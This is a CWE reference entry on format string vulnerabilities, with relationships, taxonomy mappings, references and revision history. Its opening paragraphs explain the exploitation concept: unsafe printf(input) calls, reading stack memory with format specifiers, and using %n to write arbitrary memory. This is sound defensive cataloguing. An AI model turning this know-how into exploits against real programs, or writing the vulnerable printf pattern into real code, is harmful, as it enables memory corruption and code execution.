While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a variable number of arguments, including C-runtime functions, are the printf() family of calls. The Format String problem appears in a number of ways. A *printf() call without a format specifier is dangerous and can be exploited. For example, printf(input); is exploitable, while printf(y, input); is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program.

Frequently targeted entities are file names, process names, identifiers.

Format string problems are a classic C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the %n operator. The %n operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, he can execute arbitrary code. Other operators can be used as well; for example, a %9999s operator could also trigger a buffer overflow, or when used in file-formatting functions like fprintf, it can generate a much larger output than intended.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class20Improper Input Validation
Seven Pernicious Kingdoms (primary)700
ChildOfWeakness ClassWeakness Class74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory133String Errors
Development Concepts699
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory726OWASP Top Ten 2004 Category A5 - Buffer Overflows
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory743CERT C Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory8082010 Top 25 - Weaknesses On the Cusp
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory845CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory8652011 Top 25 - Risky Resource Management
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory990SFP Secondary Cluster: Tainted Input to Command
Software Fault Pattern (SFP) Clusters (primary)888
PeerOfWeakness BaseWeakness Base123Write-what-where Condition
Research Concepts1000
MemberOfViewView630Weaknesses Examined by SAMATE
Weaknesses Examined by SAMATE (primary)630
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Research Gaps

Format string issues are under-studied for languages other than C. Memory or disk consumption, control flow or variable alteration, and data corruption may result from format string exploitation in applications written in other languages such as Perl, PHP, Python, etc.

+ Affected Resources
  • Memory
+ Functional Areas
  • logging
  • errors
  • general output
+ Causal Nature

Implicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERFormat string vulnerability
7 Pernicious KingdomsFormat String
CLASPFormat string problem
CERT C Secure CodingFIO30-CExactExclude user input from format strings
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
CERT C Secure CodingFIO30-CExclude user input from format strings
WASC6Format String
CERT Java Secure CodingIDS06-JExclude user input from format strings
CERT C++ Secure CodingFIO30-CPPExclude user input from format strings
Software Fault PatternsSFP24Tainted input to command
+ White Box Definitions

A weakness where the code path has:

1. start statement that accepts input

2. end statement that passes a format string to format string function where

a. the input data is part of the format string and

b. the format string is undesirable

Where "undesirable" is defined through the following scenarios:

1. not validated

2. incorrectly validated

+ References
[R.134.1] Steve Christey. "Format String Vulnerabilities in Perl Programs". <http://www.securityfocus.com/archive/1/418460/30/0/threaded>.
[R.134.2] Hal Burch and Robert C. Seacord. "Programming Language Format String Vulnerabilities". <http://www.ddj.com/dept/security/197002914>.
[R.134.3] Tim Newsham. "Format String Attacks". Guardent. September 2000. <http://www.thenewsh.com/~newsham/format-string-attacks.pdf>.
[R.134.4] [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "Format String Bugs" Page 147. 2nd Edition. Microsoft. 2002.
[R.134.5] [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 6: Format String Problems." Page 109. McGraw-Hill. 2010.
[R.134.5] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "C Format Strings", Page 422.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Detection_Factors, Modes_of_Introduction, Relationships, Other_Notes, Research_Gaps, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-07-17KDM AnalyticsExternal
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITREInternal
updated White_Box_Definitions
2010-02-16CWE Content TeamMITREInternal
updated Detection_Factors, References, Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITREInternal
updated Modes_of_Introduction, Relationships
2011-09-13CWE Content TeamMITREInternal
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Observed_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITREInternal
updated Demonstrative_Examples, Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Description, Modes_of_Introduction, Name, Relationships
Previous Entry Names
Change DatePrevious Entry Name
2015-12-07Uncontrolled Format String

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Page Last Updated: May 05, 2017